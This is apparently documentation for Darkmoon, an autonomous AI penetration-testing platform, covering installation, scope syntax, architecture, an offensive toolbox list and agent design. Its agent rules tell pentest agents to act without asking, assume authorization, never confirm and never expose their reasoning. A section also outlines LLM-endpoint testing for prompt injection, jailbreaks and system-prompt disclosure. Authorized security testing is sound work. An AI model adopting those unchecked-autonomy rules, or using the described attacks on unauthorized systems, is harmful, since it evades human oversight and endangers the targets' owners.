Darkmoon Community is moving from the GNU GPL v3.0 to the GNU AGPL v3.0. Every commit published up to edfe9cb (27 October 2026) stays under the GNU GPL v3.0; master is under the AGPL v3.0 since 19 November 2026 (PR #59), and no AGPL release has been tagged yet (the latest release, v1.6.0, is GPL v3.0). The contributions made by outside contributors before the switch also stay under the GNU GPL v3.0 (they are not relicensed). Details: LICENSING.md.
Overview · 1/22
I. Preview
Install, run and extend Darkmoon, the autonomous AI penetration testing platform: Community (open source CLI) and Pro editions.
DarkMoon runs
autonomous, AI‑driven
assessments tuned for
maximum coverage, so nothing slips through. As with any security scanner, this
wide net means a share of findings are
candidates that deserve a human check
before action — severity and exploitability are best confirmed
by an analyst.
Every finding carries its full evidence (requests, payloads, logs) in the Markdown report, and in the dashboard and PDF of Darkmoon Pro. Each finding is qualified EXPLOITED, Confirmed or Unconfirmed by the agent's adversarial self-review. This status is asserted by the agent, not machine-verified: confirm severity and exploitability against the evidence before acting. That step turns broad coverage into reliable, defensible conclusions.
Privacy gateway (reversible local tokenization).
The AI never sees your real sensitive values — IPs, hostnames,
domains, URLs, emails, credentials or internal paths. It only
ever handles deterministic placeholders such as
IP_PRIVATE_001 or HOST_INTERNAL_001.
Real values are re-injected
locally, right before a tool runs, and re-masked out of every result before it goes back to the
model, so nothing sensitive leaves your perimeter to the LLM
provider. When a value is headed somewhere it must not go — a
placeholder in a URL sent to a third-party host, say — the
command
still runs
and that third party receives the literal string
IP_PRIVATE_001 instead of your address. Privacy
never costs you a command. Open-source in the Community edition;
Pro adds guard-sealed storage, an audit trail and a
compliance-grade "no data left the perimeter" statement in the
signed report.
Read the Privacy chapter →
The fastest path from zero to your first assessment.
1 min read
The fastest path from zero to your first assessment. Each step links
to the full reference below. DarkMoon is self-hosted and runs on
Docker; the AI only ever sees deterministic placeholders, never your
real IPs, hosts or credentials
(privacy gateway).
1
Check prerequisites
Docker & Docker Compose,
plus access to a capable LLM (Claude Opus, or a heavyweight 32B+
local model).
Prerequisites →
2
Clone the repository
Terminal
git clone https://github.com/ASCIT31/Dark-Moon.git
cd Dark-Moon
3
Install & configure
install.sh
configures your LLM provider interactively (cloud or local) and
builds the stack — no need to edit docker-compose.yml.
Terminal
./install.sh # build; skip provider form if already configured
./install.sh --init # force LLM provider reconfiguration
./install.sh --help # show usage
Then drive DarkMoon from the User CLI (or the Pro UI).
User CLI → ·
Usage →
5
Read the results
In the console, type /explore (or press <leader>d): the read-only Terminal Explorer shows the Cyber Score, the Prioritized Treatment Plan, the findings and the attack paths. Each campaign also writes a Markdown report (and, in Pro, a report page and a PDF). Terminal Explorer → · Reports → · Executive security →
Information:
First launch builds the images and may take a while. Small models
(7B / 13B) are not supported for autonomous campaigns — see
Compatible Models & Hardware.
Requirements, GPU, project layout, environment variables, build and the CLI.
14 sections
14 min read
II.1Prerequisites
Before starting, you must have:
Docker
Docker Compose
Access to a capable LLM —
Claude Opus 4.6 / 4.7 (recommended), or a
heavyweight local model (32B+). See
Compatible Models & Hardware.
Small models (7B / 13B) are not supported for autonomous
campaigns.
II.2GPU Troubleshooting Guide (Official)
Overview
Darkmoon supports GPU acceleration when available, but
GPU configuration depends entirely on your host
environment.
There are three supported setups:
Environment
GPU Vendor
Setup Method
Native Linux (Debian/Ubuntu)
NVIDIA
NVIDIA driver + NVIDIA Container Toolkit
Native Linux (Debian/Ubuntu)
AMD / ATI
ROCm + amdgpu driver
Windows + Docker Desktop + WSL2
NVIDIA
Windows driver + Docker Desktop GPU integration
Darkmoon
does not install GPU dependencies automatically to
avoid breaking system configurations.
Information:
No GPU? Darkmoon falls back to CPU automatically
via pocl-opencl-icd — no configuration needed.
Common Error
Error: could not select device driver "nvidia" with capabilities: [[gpu]]
or
Failed to initialize NVML: GPU access blocked by the operating system
Step 1 — Identify Your Environment
Terminal
uname -a
If you see microsoft → you are in
WSL. Otherwise →
native Linux.
Case 1 — Windows + Docker Desktop + WSL2
Important:
Important
In this setup: DO NOT install
nvidia-container-toolkit inside WSL. DO NOT configure
nvidia-ctk. Docker Desktop handles GPU automatically.
Check GPU availability
On Windows (PowerShell):
Terminal
nvidia-smi
Inside WSL:
/usr/lib/wsl/lib/nvidia-smi
Test Docker GPU
Terminal
docker run --rm --gpus all nvidia/cuda:12.3.2-base-ubuntu22.04 nvidia-smi
If GPU is blocked
If you see GPU access blocked by the operating system,
fix with:
Terminal
wsl --update
wsl --shutdown
Then restart Windows completely.
Docker Desktop settings
Settings → General → Use WSL2 backend (enabled)
Settings → Resources → WSL Integration → your
distro enabled
Case 2 — Native Linux (Debian / Ubuntu)
Check GPU
Terminal
nvidia-smi
Test Docker GPU
Terminal
docker run --rm --gpus all nvidia/cuda:12.3.2-base-ubuntu22.04 nvidia-smi
If it fails — install NVIDIA Container Toolkit
Warning:
Known issue
You may encounter:
E: Type '<!doctype' is not known on line 1 in source
list. This means your NVIDIA repo file is corrupted with HTML instead
of APT entries.
NVIDIA Forum
AMD GPUs use /dev/kfd and
/dev/dri devices. Add to your
docker-compose.yml:
YAML
devices:
- /dev/kfd:/dev/kfd
- /dev/dri:/dev/dri
group_add:
- video
- render
Test AMD GPU in Docker
Terminal
docker run --rm \
--device=/dev/kfd --device=/dev/dri \
--group-add video --group-add render \
rocm/rocm-terminal rocm-smi
Common AMD errors
Error
Cause
Fix
/dev/kfd: Permission denied
User not in render group
sudo usermod -aG render,video $USER + logout
No OpenCL platforms found
ROCm not installed
Install rocm-opencl-runtime
Container can't see GPU
Missing device mounts
Add --device=/dev/kfd --device=/dev/dri
Warning:
WSL2 + AMD AMD GPU passthrough in WSL2 is not
officially supported by Microsoft. Use native Linux or a VM for AMD
GPU workloads.
Final Notes
Darkmoon runs perfectly without GPU (CPU fallback
via pocl-opencl-icd)
GPU is optional acceleration, not required
NVIDIA: use CUDA stack + nvidia-container-toolkit
AMD: use ROCm + device mounts (/dev/kfd,
/dev/dri)
WSL GPU issues are often
OS-level, not Docker-level
Native Linux GPU issues are usually
driver or toolkit misconfiguration
Quick Debug Checklist
Check
Command
NVIDIA (Windows)
nvidia-smi
NVIDIA (WSL)
/usr/lib/wsl/lib/nvidia-smi
NVIDIA (Docker)
docker run --gpus all ...
AMD (Linux)
rocm-smi
AMD (Docker)
docker run --device=/dev/kfd ...
CPU fallback
clinfo (shows pocl platform)
WSL reset
wsl --shutdown
NVIDIA repo fix
remove corrupted .list
Information:
Darkmoon does not modify your system GPU stack automatically.
Instead, it detects Docker, builds and runs the stack, and lets you
configure GPU safely according to your environment (NVIDIA, AMD, or
CPU fallback).
II.2General project structure
Darkmoon relies on Docker and
Docker Compose.
The important components are:
an OpenCode container (AI + agents),
a Darkmoon Toolbox container (pentest tools),
shared volumes for configuration.
II.3Configuration of environment variables in docker compose
Docker Compose is
the entry point for the entire AI configuration.
Important No secret is stored in the Docker image.
Information:
Which model should I set in OPENCODE_MODEL?
This matters as much in the open-source edition as in Pro —
Darkmoon's autonomous agent needs a strong reasoning / tool-calling
model, otherwise campaigns stall in Unknown. See the
full guidance (cloud reference Opus 4.6/4.7, local Opus-class
equivalents, supported open models & hardware) in
Compatible Models & Hardware.
II.4Automatic generation of OpenCode files
On first launch, Darkmoon:
reads the variables,
automatically generates:
opencode.json,
auth.json,
configures the main agent,
initializes OpenCode.
All of this is done by the script:
conf/apply-settings.sh
Important:
Important You
do not need to generate anything manually.
You can choose not to fill in the variables, in which case the
default opencode model opencode/big-pickle will be
executed.
II.5Volumes and persistence
Configuration files are persisted via Docker volumes.
Darkmoon provides a dedicated installation and recovery script:
Terminal
./install.sh
This script is designed to
fully reset and recreate the Darkmoon Docker stack
in a clean and deterministic way. It is useful both for
initial setup and for
recovering from Docker-related issues.
What the script does
1. Checks prerequisites
verifies that Docker is installed,
verifies that the Docker daemon is running,
verifies that Docker Compose v2 is available.
If any requirement is missing, the script stops and displays
installation instructions.
2. Stops the running stack
Terminal
docker compose down --remove-orphans --volumes --rmi all
3. Removes local bind mounts
The following directories are deleted: ./data,
./darkmoon-settings, ./workflows
4. Cleans Docker build cache
Terminal
docker builder prune -f
5. Rebuilds all images from scratch
Terminal
docker compose build --no-cache
6. Recreates the Darkmoon stack
Terminal
docker compose up -d --force-recreate
When to use install.sh
performing the initial installation of Darkmoon,
Docker builds fail unexpectedly,
volumes or bind mounts become inconsistent,
configuration files were modified,
switching LLM providers or models,
troubleshooting Docker-related issues.
When you do NOT need to run it
You typically
do not need to run install.sh when
modifying agent Markdown files, prompts, or workflows mounted
through volumes. These changes are usually applied
live without rebuilding the stack.
Using Docker compose
Terminal
docker compose build
II.6.bLaunching the stack
Terminal
docker compose up -d
Information:
The first launch may take some time (image build).
II.7Launch Darkmoon (User CLI)
A wrapper is provided: darkmoon.sh.
II.7.aMake the wrapper executable
Terminal
chmod +x darkmoon.sh
II.7.bInstall globally (optional)
Terminal
sudo cp darkmoon.sh /usr/local/bin/darkmoon
II.7.cLaunch Darkmoon with TUI Console
Terminal
darkmoon
Or with a direct command:
Terminal
darkmoon "TARGET: mydomain.com"
Pentest Agent — Scope definition
Quick Pentest (zero config)
TARGET: http://172.19.0.3:3000
That's it. Blackbox, all planes, no config needed.
TARGET: https://app.acme.com PROGRAM="Acme BB 2026" TARGETS=*.acme.com,API:https://api.acme.com/v2 OUT=payments.acme.com,10.0.0.0/8 FOCUS=sqli,rce,ssrf,idor,auth-bypass EXCLUDE=H1,dom-xss CREDS=user:h@test.com:Bug1!,admin:a@test.com:Adm1! NOISE=moderate FORMAT=h1 SEVERITY=critical SAFE_HARBOR=yes RULES="POC only;no real user data;24/7 window"
II.7.dHow to Use the Darkmoon Assessment Engine
Overview
Darkmoon operates as a
strategic vulnerability assessment orchestrator
rather than a traditional scanner.
Instead of executing a fixed sequence of tools, the system behaves
like an audit conductor that:
Discovers the target environment
Models the attack surface
Classifies technology domains
Dispatches specialized assessment agents
Continuously adapts based on discovered signals
Produces a structured security report
This approach mirrors professional methodologies such as: ISO 27001,
NIST SP 800-115, MITRE ATT&CK modeling, and industrial audit
practices.
The orchestrator coordinates specialized sub-agents such as: PHP,
NodeJS, Flask / Python, ASP.NET, GraphQL, Kubernetes, Active
Directory, Ruby on Rails, Spring Boot, Headless Browser, and CMS
engines (WordPress, Drupal, Joomla, Magento, PrestaShop, Moodle).
Each agent focuses on a specific technology stack.
Step 1 — Start an Assessment
The user begins by providing a
target host, domain, or IP address.
TARGET: 172.20.0.4
This launches the assessment campaign. The orchestrator immediately
initializes a session context.
Terminal
darkmoon_get_session
--> session_id returned
The user receives a monitoring command to observe
the assessment in real time:
Terminal
./darkmoon.sh --log <session_id>
Step 2 — Environmental Discovery
Once the session begins, the system performs
controlled reconnaissance. The goal is not
exploitation but environment understanding.
Activities include: port scanning, protocol detection, HTTP service
discovery, banner analysis, basic service fingerprinting.
Web Application
|-- Apache
|-- PHP
+-- WordPress CMS
Step 4 — Attack Surface Modeling
The system constructs an internal representation of the target
environment including exposed endpoints, authentication surfaces,
APIs, frameworks, and infrastructure components.
Multiple agents may run in parallel if several
technologies are detected.
The cloud, identity, CI/CD, IaC, secrets, data, firmware/IoT and
infrastructure agents are credential- or artifact-gated: unlike the web agents
they are never dispatched on inference, only when a concrete positive
artifact names the plane — a leaked credential, an exposed
API/port, or scope the operator supplied — the same manual-only
discipline used for Active Directory and Kubernetes.
Step 6 — Reactive Multi-Agent Execution
The orchestrator uses a reactive feedback loop.
After each agent finishes:
A vulnerability is reported only when
evidence exists, such as HTTP request used, payload
sent, raw response received, or extracted data. If proof is
incomplete, the finding is labeled:
UNCONFIRMED SIGNAL
This ensures the report remains audit-grade and
defensible.
Step 8 — Campaign Completion
The assessment ends when no new technology signals appear, all
relevant agents have executed, and attack surface coverage is
sufficient. The final report summarizes: discovered technologies,
attack surfaces, validated vulnerabilities, supporting evidence, and
risk classification.
High-Level Workflow Diagram
+--------------------+
| User provides |
| target address |
+----------+---------+
|
v
+----------------------+
| Session Initialization|
| darkmoon_get_session |
+----------+-----------+
|
v
+----------------------+
| Environmental |
| Discovery |
+----------+-----------+
|
v
+----------------------+
| Technology |
| Fingerprinting |
+----------+-----------+
|
v
+----------------------+
| Attack Surface |
| Modeling |
+----------+-----------+
|
v
+----------------------+
| Sub-Agent Selection |
+----------+-----------+
|
v
+-----------------------+
| Multi-Agent Execution |
| Reactive Loop |
+----------+------------+
|
v
+-----------------------+
| Evidence Validation |
+----------+------------+
|
v
+-----------------------+
| Final Security Report |
+-----------------------+
What the User Needs to Do
1. Provide a target
TARGET: <ip or domain>
2. Monitor the session
Terminal
./darkmoon.sh --log <session_id>
3. Wait for the assessment to complete
The orchestrator automatically discovers technologies, dispatches
agents, collects evidence, and generates the report. No manual tool
selection is required.
Key Advantages
models the system before testing
adapts to discovered technologies
coordinates multiple specialized engines
avoids noisy scanning
produces evidence-driven findings
This makes it suitable for
industrial-grade security assessments.
II.8Direct access to the container (debug)
It is possible to enter the OpenCode container directly:
Terminal
docker exec -ti opencode bash
This allows: to inspect files, to modify agents, to test OpenCode
directly.
Darkmoon's interactive console (the TUI) runs
inside a container, so it cannot reach your host
clipboard directly. Every copy action — text selection, and
Ctrl+P → "Copy session transcript" /
"Copy last assistant message" — sends the data
to your machine through the OSC 52 terminal escape
sequence. Your terminal emulator must support (and allow)
OSC 52 clipboard writes, otherwise the copy silently goes nowhere.
Warning:
Warning
The "Copied to clipboard" message is shown as soon as the
sequence is emitted — it does not guarantee your
terminal accepted it. If pasting yields nothing, the cause is almost
always terminal-side, not Darkmoon.
Symptom
"Copied to clipboard" appears, but Ctrl+V (or Ctrl+Shift+V) pastes nothing — neither inside the TUI nor in any other application.
Most common on GNOME Terminal / VTE (the Ubuntu default), which does not honor OSC 52 clipboard writes by default.
Confirm it is your terminal
Run this outside Darkmoon, then try to paste somewhere:
If pasting does not give you osc52-test, your terminal is dropping OSC 52.
Fixes
Situation
Fix
Terminal without OSC 52 (GNOME Terminal, older Konsole/PuTTY)
Use an OSC 52‑capable terminal: kitty, WezTerm, Alacritty, foot, xterm (allowWindowOps / 52 not blocked), Windows Terminal, or iTerm2 (enable Allow clipboard access)
Inside tmux / screen
tmux: add set -g set-clipboard on (Darkmoon already wraps the sequence for tmux passthrough). screen: enable clipboard or use a compatible terminal
Over SSH
Works as long as the local terminal supports OSC 52 — nothing to install on the server
Very large session transcript
OSC 52 has per‑terminal size limits and may be truncated even on a supported terminal. For full output, use the report files in ./reports
Information:
Note
Darkmoon cannot work around this from inside the container: for a
containerized TUI, OSC 52 is the only portable bridge to the host
clipboard. Clipboard behaviour therefore depends entirely on your
terminal configuration.
II.12Launch flags, privacy and the Cyber Score
Some launch flags restrict what a campaign tests, and the Cyber Score says so:
Flag at launch
Effect on the rating
SEVERITY= any value below critical
Not rated (the campaign ignored part of what it could find)
EXCLUDE=… or NOISE=stealth
Limited test, capped at 69
FOCUS=… (a short, focused campaign)
Limited test, capped at 69
OUT=…, RULES=…
listed with the rating
What you type, including TARGET, CREDS and TOKEN, is tokenised before the model sees it (prompt tokenisation). After the run, type /explore to read the results (Terminal Explorer).
Usage · 4/22
III. Uses
Run campaigns from the CLI: prompts, targets, scopes and reports.
1 sections
1 min read
III.1Prompt Examples
Here are example prompts you can use with Darkmoon. Every prompt
starts with TARGET: followed by your target address.
DVGA (Damn Vulnerable GraphQL Application)
TARGET: http://localhost:5013
Darkmoon will automatically detect the GraphQL surface and focus on
introspection, injection, and authentication bypass.
Juice Shop (with headless browser)
TARGET: http://localhost:3000
Full blackbox pentest. Darkmoon detects the stack, dispatches the
appropriate agents (NodeJS, headless browser), and covers OWASP Top
10.
Darkmoon is built around a strict and deliberate principle:
The AI never interacts directly with pentesting tools.
The AI is responsible for reasoning, planning, and decision-making,
but it does not execute anything itself. Every concrete action goes
through a controlled intermediary layer. This design significantly
increases security, improves operational control, and prevents
unpredictable behavior from the AI.
IV.2Main Components (Who Does What)
IV.2.aOpenCode — The Brain
OpenCode acts as the central orchestrator of the system. It
communicates with the LLM, manages AI agents, determines the next
actions to perform, and calls the MCP whenever a real-world action
is required. Importantly, OpenCode never executes any pentesting
tool directly.
IV.2.bAI Agents — The Strategy Layer
AI agents are defined in Markdown files. Their purpose is to
describe the pentesting methodology and enforce structured execution
phases such as reconnaissance, scanning, exploitation, validation,
and reporting. Because they are written in Markdown, agents are
readable, auditable, and version-controlled through Git.
IV.2.cMCP Darkmoon — The Security Gatekeeper
The MCP is the central security boundary of Darkmoon. It exposes
only explicitly authorized functions to the AI and executes actions
on its behalf. All inputs and outputs are strictly controlled and
structured. The MCP effectively acts as an internal controlled API
layer.
IV.2.dDarkmoon Toolbox — The Real Tools
The Toolbox contains the actual pentesting tools and runs inside a
dedicated Docker container. Its purpose is to guarantee isolation,
reproducibility, and environmental consistency.
IV.2.eDocker & Volumes — Isolation and Persistence
Docker is used to isolate system components from each other and from
the host system. Volumes allow configuration and data to persist
while enabling dynamic modifications without requiring full
redeployment.
IV.3Execution Flow (Simple Overview)
When a user submits a prompt, OpenCode analyzes the request and
delegates the mission to an AI agent. The agent determines the
appropriate strategy and, when an action is needed, calls a function
exposed by the MCP. The MCP then executes the corresponding tool
inside the Docker-based Toolbox. Results are returned to the MCP,
passed back to the agent in structured form, and used to determine
the next step or produce a final report.
IV.3.aDeployment diagram
flowchart LR
User -->|CLI / Prompt| DarkmoonCLI
DarkmoonCLI --> OpenCode
OpenCode --> MCP
MCP -->|Docker API| Toolbox
IV.3.bNetwork flow diagram
sequenceDiagram
participant U as User
participant O as OpenCode
participant A as AI Agent
participant M as MCP Darkmoon
participant T as Docker Toolbox
U->>O: User prompt
O->>A: Delegate task
A->>M: MCP function call
M->>T: Execute real tool
T-->>M: Results
M-->>A: Structured output
A-->>O: Next decision
O-->>U: Summary / result
IV.4Security by Design
Darkmoon enforces clear boundaries:
From
To
Role
Agent
MCP
Action control
MCP
Toolbox
Secure execution
Toolbox
Host
Docker isolation
The AI never executes system commands, never controls Docker, and
never leaves its designated scope.
IV.5Why This Architecture Is Robust
The architecture is robust because responsibilities are clearly
separated and there is no hidden or implicit logic. Each layer has a
single, well-defined role and communicates through explicit
interfaces. Components can be replaced independently without
breaking the overall system. The platform is not locked to any
specific AI provider and is suitable for sensitive or controlled
environments where predictability and auditability are essential.
For a deeper understanding of how agents operate, see
AI Agents.
IV.6Current architecture and data flow
State of production on 2026-11-20 (Community master and the deployed Pro release). In Community everything runs on your machine; in Pro, findings, reports and campaign data stay on the customer's host. Nothing is sent to Darkmoon.
Community
flowchart TB
OP["Operator"] -->|"darkmoon console"| OC["OpenCode console<br/>pentest + 50 specialists"]
OC -->|"each message, before the model"| PS["Prompt tokenizer<br/>(local socket)"]
OC -->|"MCP over stdio, 13 tools"| MCP["MCP server"]
PS --- PG
MCP --> PG["Privacy gateway<br/>vault + command gateway"]
PG -->|"docker exec, allow-listed tools"| TB["Toolbox container"]
MCP -->|"dashboard_* writes"| ST[("Local JSON store")]
ST --> EC["Executive core<br/>Cyber Score, plan, frameworks,<br/>profile, report model"]
ST --> AP["Attack-path engine<br/>declared + inferred, never proven"]
EC --> RP["Markdown report<br/>darkmoon-report/v2"]
AP --> RP
ST --> TE["Terminal Explorer<br/>read-only, no model call"]
EC --> TE
AP --> TE
Layer
Role
Console and agents
Reasoning, planning, dispatch of the 50 specialists (AI Agents)
Privacy
Placeholders instead of real values in the prompt, the tool calls and the outputs (Privacy)
flowchart TB
OP["Operator"] -->|"browser"| UI["Web dashboard"]
UI -->|"/api/v1, cookie + CSRF"| API["REST API"]
API -->|"run, retest, scheduler<br/>maintenance gate"| OC["OpenCode console<br/>+ remediation agent"]
OC -->|"MCP over stdio, 17 tools<br/>run key in the transport"| MCP["MCP server"]
MCP --> PG["Privacy gateway"]
PG --> TB["Toolbox container"]
MCP -->|"execution ledger<br/>HMAC fingerprints"| LED[("Ledger")]
MCP -->|"run-bound writes"| ST[("Data store + reports")]
LED --> AP["Attack-path engine"]
ST --> AP
ST --> EC["Executive core"]
EC --> API
AP --> API
API --> TE["Terminal Explorer"]
A web dashboard and a REST API in front of the same engine; sessions use an HttpOnly cookie and a CSRF token on writes.
Launches, retests and scheduled runs go through the API, which applies the maintenance gate.
Run binding: the MCP writes are bound to the caller's run key taken from the transport, never from a tool argument, so a run cannot write into another run's campaign.
An execution ledger that lets the attack-path engine attempt to qualify declared links.
Four more MCP tools (17 in total) and the defensive remediation agent.
IV.7Findings, finalisation and security logging
Findings are pushed by the agents with their evidence; their status is one of exploited, confirmed, unconfirmed, asserted by the agent and not machine-verified.
Finalisation freezes a campaign: a later finalisation never changes its terminal status or measured duration, and an aborted or stopped campaign never becomes completed. A digest of the coverage signals is stored at the first close; a later mismatch makes the campaign « Not rated ».
Reports are rendered from the report model (Reports).
Security events go to the darkmoon.audit logger (Security events).
IV.8Known limitations
Finding statuses are asserted by the agents; confirm severity and exploitability against the evidence.
The Cyber Score is not scientifically validated and rates the tested scope only.
Attack paths are always Possible Attack Paths in Community; in Pro no declared link has been qualified on a real campaign measured so far.
Framework assessments are technical observations, not compliance statements.
Community declaration files are edited by hand and are not tamper-evident; Community runs no retest.
Maintenance windows only warn in Community, and Darkmoon never stops a running campaign at a window end.
Prompt tokenisation masks the values its detectors recognise; use a local model if that matters.
Pro: the API has no per-project access control; any signed-in account reads every project.
AI System · 6/22
V. AI Agents
This document describes
how AI agents work in Darkmoon: their role, their
structure, their rules, and how to create or modify them.
Important It is not a standard
prompt. It is a complete operational strategy.
V.2Agent Philosophy
Darkmoon agents are designed to:
act without asking questions,
assume explicit authorization,
automatically chain actions,
favor depth over speed,
correlate results.
The scope is already defined by the user.
V.3Structure of a Darkmoon Agent
V.3.aSimplified Example
---
id: pentest-web
name: pentest-web
description: Fully autonomous pentest agent
---
You are an autonomous AI cybersecurity agent.
V.3.bList of Agents
The Community roster is 51 agent files: one strategic
orchestrator (pentest) and 50 specialists (the
llm agent covered in §V.9 is one of
them). The Pro edition adds one defensive
remediation agent, for 52 agents in total. The
orchestrator fingerprints the target, classifies the technology planes present,
and dispatches the matching specialists. Each specialist is a self-contained
playbook of around 470 to 525 lines that shares the same safety, reporting and
non-blocking-execution rules.
Planes that only mean something with a credential (cloud accounts,
CI/CD, secret stores, databases, Active Directory, Kubernetes) are
never dispatched on inference. They fire on a concrete
artifact (a key, a token, a reachable metadata endpoint) or on explicit
authorization, and are otherwise flagged in the report.
V.3.cCommon Sections
metadata (id, name,
description)
execution rules
capabilities
communication rules
MCP call rules
security constraints
V.4Real Example: pentest-web
The pentest-web agent is fully autonomous, focused on
real pentesting, aggressive but non-destructive, and based
exclusively on MCP. It chooses its own workflows,
can directly execute tools via MCP, correlates results between
steps, and iterates until attack vectors are exhausted.
Important:
Important It is an AI pentester,
not an assistant.
V.5Critical Rules for Agents
V.5.aAutonomy
An agent never asks for confirmation, never asks for user input, and
acts immediately.
V.5.bMCP-only
An agent never touches Docker,
never launches tools directly, and always goes
through MCP. This ensures auditability, control, and security.
V.5.cCommunication
Agents minimize user messages, prioritize tool calls, and never
expose internal reasoning.
V.6Where Agents Live
V.6.aBefore Build
conf/agents/
These agents are integrated into the image and automatically copied
at first launch.
V.6.bAfter Build (Recommended)
Terminal
darkmoon-settings/agents/
Advantages: modify without rebuild, persistence, external
versioning.
V.7Agent Lifecycle
OpenCode starts
Checks if agents already exist
Initial seed if needed
Dynamic loading
On-demand execution
Information:
The seed only happens once.
V.8Adding a New Agent
V.8.aMethod 1 — After Build (Recommended)
Create a .md file in:
darkmoon-settings/agents/
Restart Darkmoon
The agent is immediately available
V.8.bMethod 2 — Before Build
Add the agent in: conf/agents/
Rebuild the stack
The agent will be automatically seeded
V.9Best Practices
One agent = one clear role
Do not mix scanning, reporting, and remediation
Prefer multiple specialized agents
Keep rules strict
Test progressively
V.10Summary
Darkmoon agents are autonomous, auditable, extensible, and secure by
design. They form the strategic brain of the
platform.
To understand how agents execute actions, see
MCP Workflows.
V.9LLM Endpoint Testing (OWASP LLM Top 10)
The llm specialist pentests LLM / AI inference endpoints. When the
orchestrator fingerprints an OpenAI-compatible endpoint (an HTTP probe such as
/v1/models), it dispatches llm, which maps its findings to the
OWASP Top 10 for LLM Applications:
system-prompt and sensitive-information disclosure (including hardcoded credentials);
direct and indirect prompt injection, and jailbreak / guardrail bypass;
insecure output handling (SSRF, XSS or SQL reached through the model);
excessive agency and unbounded consumption (model-level denial of service);
an unauthenticated serving layer.
Each finding carries the exact request and the raw response. The agent drives
curl + python3/jq through the MCP boundary and runs a bounded
garak scan (mandatory-first but non-blocking). It ships in both editions — the
open-source engine detects and qualifies findings; Pro adds the dashboard and PDF report.
V.11Declaring dependencies: enabled_by
When an agent pushes a finding with dashboard_push_finding, it may list in the optional field enabled_by the earlier findings of the same campaign whose result it used (a token, a credential, an access). The cost is small: one optional field.
The server validates every reference and never trusts it as proof: a declaration is shown as part of a Possible Attack Path, and only the server can promote a link to evidence-backed (Attack paths). A campaign whose findings carry no enabled_by behaves exactly as before.
Agents cannot write the executive documents (Cyber Score, treatment plan, frameworks, profile, maintenance policy); the server computes them.
Tools · 7/22
VI. Toolbox
The tools baked into the runtime image, labs to train on, GPU acceleration.
13 sections
8 min read
VI.1What is this project for?
This project is used to build a
cybersecurity toolbox, putting many tools into
a single Docker image that is reliable,
reproducible, easy to maintain, and easy to extend.
This image is intended for pentesters,
security engineers, researchers,
and the Open Source community.
VI.2General principle (simple idea)
This project uses Docker with
two stages:
VI.2.aStep 1: Builder
We compile, install, and
prepare all the tools. Nothing is intended for the
final user yet.
VI.2.bStep 2: Runtime
We copy only the useful result. We remove
everything that is not necessary. The final image is
smaller and cleaner.
Important:
Important This separation is intentional. It avoids
errors and reduces risks.
VI.3Why this architecture is smart
VI.3.aClear separation of roles
Dockerfile — Manages the system, installs the
languages, copies the results.
setup.sh — Installs
binary tools (Go, GitHub releases, C
compilation).
setup_ruby.sh — Installs
Ruby tools.
setup_py.sh — Installs
Python tools and creates simple commands.
Read the log. Identify whether the problem comes from Go, Python,
APT, or a C compilation.
VI.7.bBest practices:
Do not add unnecessary dependencies.
Do not break the existing structure.
Test before proposing a contribution.
VI.8For the Open Source community
This project is made to be read,
understood, and improved. If you
propose a contribution: be clear, be factual, respect the
architecture.
VI.9Very short summary
Two stages: builder → runtime
Clear and separated scripts
Tools centralized in /out/bin
Simple execution via /usr/local/bin
Clean, stable, and maintainable image
VI.10Toolbox list
Here are
all the tools actually installed / present in the final
image
via Dockerfile + setup.sh + setup_py.sh.
Warning:
Warning This does not include the libs (libssl,
zlib, etc.) nor the build tools from the builder stage (gcc,
make...), because they are not in the final runtime image.
VI.10.aTools installed in the darkmoon runtime image
Tool (command)
Source / method
Location
Notes
bash
apt-get install
/bin/bash
Runtime shell
ca-certificates
apt-get install
(system)
TLS certificates
tzdata
apt-get install
(system)
Timezone
dig / nslookup
apt-get install dnsutils
/usr/bin/dig
DNS tooling
curl (Debian)
apt-get install
/usr/bin/curl
System curl
curl (custom 8.15.0)
build + COPY + PATH
/opt/darkmoon/curl/bin/curl
Priority in PATH
jq
apt-get install
/usr/bin/jq
JSON CLI
hydra
apt-get install
/usr/bin/hydra
Brute force
snmp*
apt-get install snmp
/usr/bin/snmpwalk
SNMP suite
ssh (client)
apt-get install openssh-client
/usr/bin/ssh
SSH client
dirb
build from sources
/usr/local/bin/dirb
Wordlists also copied
waybackurls
Go build
/usr/local/bin/waybackurls
archive.org URL recon
kubectl
official binary
/usr/local/bin/kubectl
v1.34.2
kube-bench
go install
/usr/local/bin/kube-bench
v0.14.0
grpcurl
build from sources
/usr/local/bin/grpcurl
patched Go deps
ruby
build Ruby 3.3.5
/opt/darkmoon/ruby/bin/ruby
Embedded Ruby
whatweb
git clone + bundler
/usr/local/bin/whatweb
Wrapper script
python3
build Python 3.12.6
/opt/darkmoon/python/bin/python3
Embedded Python
impacket
pip install impacket==0.12.0
(site-packages)
Library + entrypoints
netexec / nxc
pip install git+...NetExec@v1.4.0
/usr/local/bin/netexec
Wrapper
bloodhound
pip install bloodhound==1.7.2
/usr/local/bin/bloodhound-python
Python ingestor
wafw00f
pip install wafw00f
/usr/local/bin/wafw00f
Wrapper
sqlmap
pip install sqlmap
/usr/local/bin/sqlmap
Wrapper
arjun
pip install arjun
/usr/local/bin/arjun
Wrapper
aws (AWS CLI)
pip install awscli
/usr/local/bin/aws
Wrapper
naabu
Go build
/usr/local/bin/naabu
Port scanner
httpx
Go build
/usr/local/bin/httpx
HTTP probing
nuclei
go install
/usr/local/bin/nuclei
Template scanner
zgrab2
go install
/usr/local/bin/zgrab2
Banner grabber
katana
go install
/usr/local/bin/katana
Crawler
kubescape
Go build (v3.0.9)
/usr/local/bin/kubescape
K8s security scanner
kubectl-who-can
Go build
/usr/local/bin/kubectl-who-can
K8s RBAC
kubeletctl
Go build
/usr/local/bin/kubeletctl
Kubelet tooling
ffuf
Go build
/usr/local/bin/ffuf
Web fuzzer
subfinder
go install
/usr/local/bin/subfinder
Subdomain enumeration
lightpanda
latest release
/usr/local/bin/lightpanda
Headless browser for AI
wpscan
latest release
/usr/local/bin/wpscan
WordPress security scanner
cmseek
latest release
/usr/local/bin/cmseek
CMS Detection suite
VI.10.bTools installed by pip install impacket==0.12.0
These scripts are installed as commands in
/opt/darkmoon/python/bin/ (so in the PATH).
A campaign is a single sequential loop: the agent runs a command, waits
for its output, then reasons about it. A command that never returns does not
merely fail, it freezes everything after it. No further findings, no
finalize, no report.
Three layers prevent that. Commands that provably cannot finish are
refused before they start (credential attacks over
multi-million-entry lists, reading a live socket with cat,
full-range port sweeps, tail -f). Everything else is
wrapped in timeout inside the container, so the
process dies even if the client goes away, and surviving scanner children are
reaped. A refusal or a timeout returns why it blocked and how to
reach the same objective bounded, then an escalation ladder: retry
